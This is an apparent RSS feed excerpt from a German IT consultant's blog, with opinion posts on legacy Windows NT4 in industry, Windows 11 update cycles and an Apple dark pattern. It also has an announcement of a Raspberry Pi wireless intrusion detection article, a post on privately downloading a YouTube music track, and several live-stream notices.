&lt;p>Two real life examples to think about, of course based on personal experience and without claiming universal applicability:&lt;/p>
&lt;h2 id="industry-nt-40">Industry (NT) 4.0&lt;/h2>
&lt;p>A fortnight ago, in the course of introducing an ISMS &lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, I identified the oldest Windows computer in the inventory of a mid-sized company. With its 384 MB RAM, it reliably controls and visualises the processes and is part of a larger production line.&lt;/p>
&lt;p>The system as a whole is technically sound, maximally efficient and has not only proven itself over the past decades but also left the typical infantile problems behind. For the specialists in the factory&amp;rsquo;s own maintenance department, there is hardly anything that cannot be repaired within a very short time. All components are standardised, easy to reach and the spare parts situation is quite acceptable.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20211121-industrie-nt-4.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20211121-industrie-nt-4.webp#c" alt="Photo industrial plant with Windows NT4 in 2021" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The system is in its prime if there were not the rotten Windows NT4 Workstation&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> and the closed-source management software. Like a dark shadow, they cast over the precious sensor values and the communication with an ERP and merchandise management system. Like a black box, it is not maintainable, not expandable and, thanks to proprietary programming and technologies, not easily portable to more up-to-date technology.&lt;/p>
&lt;p>A good example of how closed-source software restricts digitalisation as well as advances whilst increasing complexity and costs elsewhere.&lt;/p>
&lt;h2 id="the-idea-of-autonomous-driving">The idea of &amp;ldquo;autonomous&amp;rdquo; driving&lt;/h2>
&lt;p>Jump over to the automotive industry, which is undoubtedly in the midst of upheaval. Large manufacturers are pushing through the missed electrification and digitalisation. The results leave much to be desired, at least from the end customer&amp;rsquo;s perspective. Unfinished, overpriced and rarely thought-through solutions do not inspire confidence, at least not in me.&lt;/p>
&lt;p>For example, during a test drive of an electric Volkswagen two years ago, I still encountered an &amp;ldquo;ignition key&amp;rdquo; in the display and manual. When I think of the Volkswagen automotive cloud with Azure&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>, I inevitably feel an impulse to vomit and cannot help but say &amp;ldquo;No, thanks&amp;rdquo;. Every time when a global corporation externalises its digitalisation, I see a desperate waving of a white flag.&lt;/p>
&lt;p>If, at the end of the day, car buyers can no longer use their otherwise technically fully intact vehicle due to an app or server problem&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>, the product, including the product design, is immature and has nothing in common with the ideas of decentralisation, &amp;ldquo;autonomous driving&amp;rdquo; or &amp;ldquo;automotive freedom&amp;rdquo;.&lt;/p>
&lt;h2 id="incompatible-product-life-cycles">Incompatible product life cycles&lt;/h2>
&lt;p>We are in the middle of a digitalisation that often has nothing to do with technology. Instead, the business basics are changing before our eyes. We are seeing the emergence of quantifiable iaccessnferior goods with questionable add-ons and sometimes inverted basic functions in place of durable and repairable goods.&lt;/p>
&lt;p>Windows &amp;ldquo;operating system&amp;rdquo; as it exists today has been turned into an advertising, product and access platform, including tracking, against the user for some time now. With its multi-coloured start menu tiles full of advertising and product placements, it looks more like the AOL desktop access software used in the 1990s. Modern operating systems that offer their users maximum available resources and control look differently and are by the way open source. The examples can be applied to hardware, cars, industrial equipment, household appliances and many other goods and industries that take their cue from the broken concepts of an IT industry and adopt them unthinkingly.&lt;/p>
&lt;p>I am cynical and claim that the smart promises of cost advantages or efficiency gains are bought with shortened product life cycles in the first approximation and leave risks from dependencies and technical debts&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> unmentioned in the second approximation.&lt;/p>
&lt;p>Sustainability goes differently. And so does digitalisation.&lt;br>
Operational excellence even more so.&lt;/p>
&lt;p>With that in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Industrie_4.0">https://de.wikipedia.org/wiki/Industrie_4.0&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Digitale_Souver%C3%A4nit%C3%A4t">https://de.wikipedia.org/wiki/Digitale_Souver%C3%A4nit%C3%A4t&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.capgemini.com/wp-content/uploads/2019/11/Report-%E2%80%93-Smart-Factories.pdf">https://www.capgemini.com/wp-content/uploads/2019/11/Report-%E2%80%93-Smart-Factories.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Information_Security_Management_System">https://de.wikipedia.org/wiki/Information_Security_Management_System&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Microsoft_Windows_NT_4.0">https://de.wikipedia.org/wiki/Microsoft_Windows_NT_4.0&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>🚫 &lt;a href="https://www.volkswagen.de/de/elektrofahrzeuge/elektromobilitaet-erleben/elektroauto-technologie/automotive-cloud.html">https://www.volkswagen.de/de/elektrofahrzeuge/elektromobilitaet-erleben/elektroauto-technologie/automotive-cloud.html&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://www.spiegel.de/auto/mehrere-tesla-fahrer-nach-ausfall-der-app-ausgesperrt-a-cebdaab9-6f99-41b6-a752-48981285243b">https://www.spiegel.de/auto/mehrere-tesla-fahrer-nach-ausfall-der-app-ausgesperrt-a-cebdaab9-6f99-41b6-a752-48981285243b&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Technische_Schulden">https://de.wikipedia.org/wiki/Technische_Schulden&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Raspi Horchposten in c't 19/2021</title><link>https://blog.jakobs.systems/en/micro/20210818-raspi-wifi-security/</link><pubDate>Wed, 18 Aug 2021 07:01:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210818-raspi-wifi-security/</guid><description>A new article of mine in c't 19/2021</description><category>Raspi</category><category>WIDS</category><category>Security</category><category>Concepts</category><category>ct</category><category>Opensource</category><content>&lt;p>Hard-wired networks are usually provided with numerous security features. With wireless networks, however, admins often remain blind to intrusion attempts, which can be carried out by inexperienced users thanks to affordable gadgets. The remedy is a Wireless Intrusion Detection System (WIDS). Sounds expensive, but it isn&amp;rsquo;t. A Raspi, a Wi-Fi stick and free open-source software are all you need.&lt;/p>
&lt;p>In the upcoming c&amp;rsquo;t edition 19/2021, starting on 28 August, I will show in a &amp;ldquo;hardcore&amp;rdquo; article of several pages how to better protect your own wireless network&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Buy the next c&amp;rsquo;t, read it, copy it!&lt;/p>
&lt;p>With this in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210817-raspi-horchposten.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210817-raspi-horchposten.webp#c" alt="Preview of ct article by Tomas Jakobs" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.heise.de/ratgeber/WLAN-Security-Raspberry-Pi-mit-Nzyme-ueberwacht-auf-verdaechtige-Aktivitaeten-6172932.html">https://www.heise.de/ratgeber/WLAN-Security-Raspberry-Pi-mit-Nzyme-ueberwacht-auf-verdaechtige-Aktivitaeten-6172932.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Beyond Good and Evil</title><link>https://blog.jakobs.systems/en/blog/20210807-music-from-youtube/</link><pubDate>Sat, 07 Aug 2021 14:23:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20210807-music-from-youtube/</guid><description>Legal music download for own use</description><category>Concepts</category><category>Music</category><category>ffmpeg</category><category>Youtube</category><category>Opensource</category><content>&lt;p>Recently I was looking for a very particular music track. It is a song from the 2017 anime adaptation of &amp;ldquo;Ghost in the Shell&amp;rdquo; with Scarlett Johansson. More precisely: the official trailer music&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, which was not included in the sound score and therefore cannot be found in any of the mainstream music stores. That&amp;rsquo;s the downside of a few keeping an entire industry under technological and legal control. The coveted piece of music is the cyberpunk cover version of the 80s song &amp;ldquo;Enjoy the Silence&amp;rdquo; by Depeche Mode, reinterpreted by Joel Burleson&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> aka Ki:Theory&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;h2 id="legal-situation">Legal situation&lt;/h2>
&lt;p>Is downloading a piece of music from the internet legal? Yes, when certain conditions are met. The lawyer Christian Solmecke examined this question from a legal point of view a long time ago and recently also provided a judicial update on the subject&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. The essential lever is called the &amp;ldquo;right to private copying&amp;rdquo; and is opposed to the rights of use usually granted against purchase. The conditions in detail:&lt;/p>
&lt;ol>
&lt;li>only private use by physical individuals&lt;/li>
&lt;li>no obviously illegal sources&lt;/li>
&lt;li>no circumvention of digital copy protection measures (DRM)&lt;/li>
&lt;li>no violation of contractual terms of use.&lt;/li>
&lt;/ol>
&lt;p>Those who, like me, enjoy not having a Google account and have not agreed to any other terms of use can freely download and use content which, in this case, has even been uploaded by the official producers and musicians and where no DRM restricts the download or use.&lt;/p>
&lt;h2 id="procedure">Procedure&lt;/h2>
&lt;p>Fortunately, there are free interfaces and proxies like Invidious&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> that facilitate a direct download of content from Youtube using MP4 or WebM formats. In principle, I recommend hosting such proxies for major internet platforms yourself as I have shown in the blog on Nitter&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> or as a live session&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> on Libreddit.&lt;/p>
&lt;p>In my case, I chose the manual way via an anonymous Invidious instance. However, the free command line tool youtube-dl - part of almost every Linux distribution&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> - would also have sufficed. The only thing needed for downloading is the youtube identifier, the string &amp;ldquo;l3cEWRdCI8w&amp;rdquo; from the video uploaded by Joel Burleson himself&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>. The output falls out after a few seconds as an MP4 file, which then becomes an MP3 using the converter ffmpeg&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> - a one-liner that could be automated wonderfully by script.&lt;/p>
&lt;blockquote>
&lt;p>If a technological feat is possible, man will do it. Almost as if it’s wired into the core of our being.&lt;/p>
&lt;/blockquote>
&lt;p>And that&amp;rsquo;s how this cyberpunk cover version of the modern film adaptation of Masanori Ota&amp;rsquo;s&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> &amp;ldquo;Ghost in the Shell&amp;rdquo; with a stunning lead actress as Motoko ended up in my own music library.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://ytprivate.com/watch?v=G4VmJcZR0Yg">https://ytprivate.com/watch?v=G4VmJcZR0Yg&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Ki_Theory">https://en.wikipedia.org/wiki/Ki_Theory&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="http://www.kitheory.com/">http://www.kitheory.com/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://ytprivate.com/watch?v=0h4-7ZKbZiY">https://ytprivate.com/watch?v=0h4-7ZKbZiY&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://github.com/iv-org/invidious">https://github.com/iv-org/invidious&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20210127-nitter-selfhosting/">https://blog.jakobs.systems/blog/20210127-nitter-selfhosting/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20210616-live-event-libreddit/">https://blog.jakobs.systems/micro/20210616-live-event-libreddit/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://sources.debian.org/patches/youtube-dl/">https://sources.debian.org/patches/youtube-dl/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://ytprivate.com/watch?v=l3cEWRdCI8w">https://ytprivate.com/watch?v=l3cEWRdCI8w&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://ffmpeg.org/">https://ffmpeg.org/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Masamune_Shirow">https://en.wikipedia.org/wiki/Masamune_Shirow&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Live-Event - OPNSense</title><link>https://blog.jakobs.systems/en/micro/20210726-live-event-opnsense/</link><pubDate>Mon, 26 Jul 2021 16:30:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210726-live-event-opnsense/</guid><description>Join this upcoming Wednesday-Live Event at 8 pm local time</description><category>Streaming</category><category>Event</category><category>OPNSense</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p></content></item><item><title>Dark Pattern by Apple</title><link>https://blog.jakobs.systems/en/micro/20210718-apple-dark-pattern/</link><pubDate>Sun, 18 Jul 2021 15:52:55 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210718-apple-dark-pattern/</guid><description>An example of Dark Pattern, this time from Apple</description><category>DarkPattern</category><category>Apple</category><category>macOS</category><content>&lt;p>From time to time I can&amp;rsquo;t avoid using Chromium. Of course without wanting to give it access to the system&amp;rsquo;s keystore. But what does Apple offer me to choose from every time I start an application:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210718-appledarkpattern.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210718-appledarkpattern.webp#c" alt="Screenshot selection options" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Is there a lack of capacity for the &amp;ldquo;Never allow&amp;rdquo; or &amp;ldquo;Always forbid&amp;rdquo; button? Of course not - not offering them is a deliberate design decision. Defect by Design and Default!&lt;/p>
&lt;p>One more detail that makes it easier for me to say goodbye to the Apple world.&lt;/p>
&lt;p>On that note,&lt;br>
Stay healthy, the 4th corona wave is coming!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p></content></item><item><title>Live-Event - Mutt</title><link>https://blog.jakobs.systems/en/micro/20210718-live-event-mutt/</link><pubDate>Sun, 18 Jul 2021 08:25:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210718-live-event-mutt/</guid><description>Join this upcoming Wednesday-Live Event at 8 pm local time</description><category>Streaming</category><category>Event</category><category>Mutt</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p></content></item><item><title>What did you do this weekend?</title><link>https://blog.jakobs.systems/en/micro/20210712-bash-to-yaml-ansible/</link><pubDate>Mon, 12 Jul 2021 07:40:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210712-bash-to-yaml-ansible/</guid><description>Security through automation</description><category>Hacking</category><category>Bash</category><category>Ansible</category><category>Opensource</category><content>&lt;p>Over the weekend I have increased security and automatized processes - that&amp;rsquo;s lame! This can be anything or nothing, too vague and unspecific. Well technically correct and with a touch of cynicism: &amp;ldquo;I translated bash scripts to YAML.&amp;rdquo;&lt;/p>
&lt;p>Okay, let&amp;rsquo;s agree on:&lt;/p>
&lt;blockquote>
&lt;p>I consolidated numerous bash scripts for automatically renewing certificates, reduced complexity, eliminated potential security risks when transferring certificates from outside reverse proxies to inside hosts, and made everything more transparent with both Ansible and Git.&lt;/p>
&lt;/blockquote>
&lt;p>With this in mind!&lt;br>
Have a good start into the new week!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p></content></item><item><title>Live-Event - RDPwrapper</title><link>https://blog.jakobs.systems/en/micro/20210710-live-event-rdpwrapper/</link><pubDate>Sat, 10 Jul 2021 08:25:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210710-live-event-rdpwrapper/</guid><description>Join this upcoming Wednesday-Live Event at 8 pm local time</description><category>Streaming</category><category>Event</category><category>RDPwrapper</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p></content></item><item><title>Live-Event - Nextcloud 22</title><link>https://blog.jakobs.systems/en/micro/20210702-live-event-nextcloud22/</link><pubDate>Fri, 02 Jul 2021 15:15:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210702-live-event-nextcloud22/</guid><description>Join this upcoming Wednesday-Live Event at 8 pm local time</description><category>Streaming</category><category>Event</category><category>Nextcloud</category><content>&lt;p>Wednesday afternoon is designated for live-events on topics, software and technologies on my bucketlist, but not yet taken. So why not fire up screen-recording and make this an established part of this blog? Everything live and with the potential for being pin-tailed like a donkey when something&amp;rsquo;s going south?&lt;/p>
&lt;p>&lt;strong>Event finished, join the next one on upcoming Wednesday!&lt;/strong>&lt;/p></content></item><item><title>Windows 11</title><link>https://blog.jakobs.systems/en/blog/20210626-windows11/</link><pubDate>Sat, 26 Jun 2021 23:50:13 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20210626-windows11/</guid><description>Windows stories that are not untold</description><category>Windows</category><category>Microsoft</category><content>&lt;p>Even measured by Microsoft&amp;rsquo;s own standards, the half-life of promises is astonishing. Since 2015 it has been said that Windows no longer follows the classic licensing and version scheme. Windows 10 is the &amp;ldquo;last Windows&amp;rdquo;&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. Six years later, everything has changed.&lt;/p>
&lt;p>That roughly corresponds to the lifespan of a PC office desktop. Compared to the much longer product cycles in SMEs, e.g. enterprise resource planning software, Microsoft appears erratic and unpredictable in its actions. Why bother with it, when you can&amp;rsquo;t trust their promises obviously?&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20210626-win11-1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20210626-win11-1.webp#c" alt="Screenshot Windows 11 design" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="more-context">More context&lt;/h2>
&lt;p>The Windows 11 announcement should be seen as a damage control and escape strategy. It has little to do with product development and much more with the failed Surface Duo and Windows 10 X projects that appeared in stores in spring 2021. Knitted with a hot needle, too expensive for meaningful use and conceptually immature&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>, it was discontinued only short time later in May 2021 in a side note&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>. The investment in an Android-based system has obviously been burned. Zune&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> and Nokia Lumia&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> do come to mind. Microsoft CEO Nadella&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> has his first major failure. Mobile devices are something Microsoft can&amp;rsquo;t do.&lt;/p>
&lt;p>Information of a &amp;ldquo;reinvestment&amp;rdquo; published on Windows Central in mid-2020 is also part of the story. Windows 10 X developments are to flow into Windows 10.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> There were further hints of the new Windows 10 interface named &amp;ldquo;Sun Valley&amp;rdquo; in Microsoft job ads in January 2021&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>At some point during the 2nd half of 2020 until May 2021 drop, the decision is probably made for Windows 11.&lt;/p>
&lt;p>The task between then and autumn 2021 was to put a fancy blanket over a horse that had been ridden to death. It has to be something new, great and able to distract from the disaster and thus Windows 11 is promised as the &amp;ldquo;biggest update of the decade&amp;rdquo;&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>The fact that the tortured horse only recently got a new blanket with &amp;ldquo;Fluent Design&amp;rdquo; remains unmentioned.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> And does &amp;ldquo;biggest update of the decade&amp;rdquo; mean that Microsoft will practice new modesty for the remaining 9 years and only release smaller updates? Or will it be back to &amp;ldquo;What do I care about my ramblings of yesterday?&amp;rdquo; in six years?&lt;/p>
&lt;p>Even assuming maximum good intentions, it&amp;rsquo;s hard for me to buy Microsoft&amp;rsquo;s story of a new Windows. The visible changes with rounded windows, the centered taskbar and a new Start menu neither justify a version jump nor do they represent a new &amp;ldquo;design language&amp;rdquo;. Least of all, it clears up the UI/UX inconsistencies that have been dragged along for decades. More on this at the end of the article.&lt;/p>
&lt;h2 id="33-price-bump">33% price bump&lt;/h2>
&lt;p>What sets Windows 11 apart is a whopping price adjustment. The way to do this is through the new update and release cycles, which sound pleasing at first glance: Instead of the half-yearly update cycles, which are little loved by admins and IT departments, there is to be only one annual feature update in the future. At the same time, the support period will increase from 18 to 24 months.&lt;/p>
&lt;p>This has something of enlarged boxes of chocolates but with less content. The support period should have increased to 36 months in proportion to the current update cycles. Where previously a customer had the benefit of three function updates, there are now only two under the new scheme. A price increase of a whopping 33% or, depending on the perspective, a reduction in output by the same factor. Unfortunately, Microsoft&amp;rsquo;s fancy press releases don&amp;rsquo;t give that away and consequently no one writes about it.&lt;/p>
&lt;h2 id="more-stress-and-risks">More stress and risks&lt;/h2>
&lt;p>It&amp;rsquo;s getting more difficult to &amp;ldquo;skip&amp;rdquo; or extensively test a feature until it runs stable within an infrastructure. In fact, Microsoft is putting all on-premise installations under stress with its changed update and release cycle. What makes it even more difficult is that the updates in the past were anything but perfect. Just as reminder, here&amp;rsquo;s a brief summary of issues of last six months. Keep in mind, behind every line there are countless overtime-hours and wasted weekends:&lt;/p>
&lt;ul>
&lt;li>06/15/2021: Windows updates cause printer problems&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>&lt;/li>
&lt;li>05/06/2021: Windows updates cause bluescreens on AMD systems&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>&lt;/li>
&lt;li>04/21/2021: Users report problems with updates KB5001330 and KB5001337&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>&lt;/li>
&lt;li>03/10/2021: March updates cause bluescreens when printing&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup>&lt;/li>
&lt;li>12/22/2020: Microsoft fixes problems with &amp;ldquo;chkdsk&amp;rdquo; after faulty update&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;p>And beyond this, Microsoft is additionly dumping new platform into this: The Amazon App Store for Android apps, which are somehow - details are still unknown - supposed to run seamlessly alongside classic Win32 apps. Trust-building measures and a stable platform look differently!&lt;/p>
&lt;h2 id="the-grab-into-the-more-bag-of-tricks">The grab into the &amp;ldquo;more&amp;rdquo; bag of tricks.&lt;/h2>
&lt;p>All risk evaluations, impact assessments and pricing models are wastepaper and have to be redefined with the new Windows program version. Contracts with service providers and suppliers are up for discussion. An entire industry smells sales for chargeable updates and upgrades: From snake-oil manufacturers to specialist dealers.&lt;/p>
&lt;p>The question is if these ancient methods from long ago will really succeed today and if Microsoft will be able to set an entire industry into movement. The company&amp;rsquo;s own Azure cloud already has more Linux systems than Microsoft systems&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup>. Due to the artificial license limitation to a few cores and the ill-fate close relationship with Intel, the server and datacenter market is slipping away with its power-saving ARM clusters and powerful AMD CPUs. For good reason, specialized applications no longer run on fat, local desktops but on servers, either in terminals or as web applications. And take a look in your own household. There are more non-Windows and non-desktop systems around than ever before.&lt;/p>
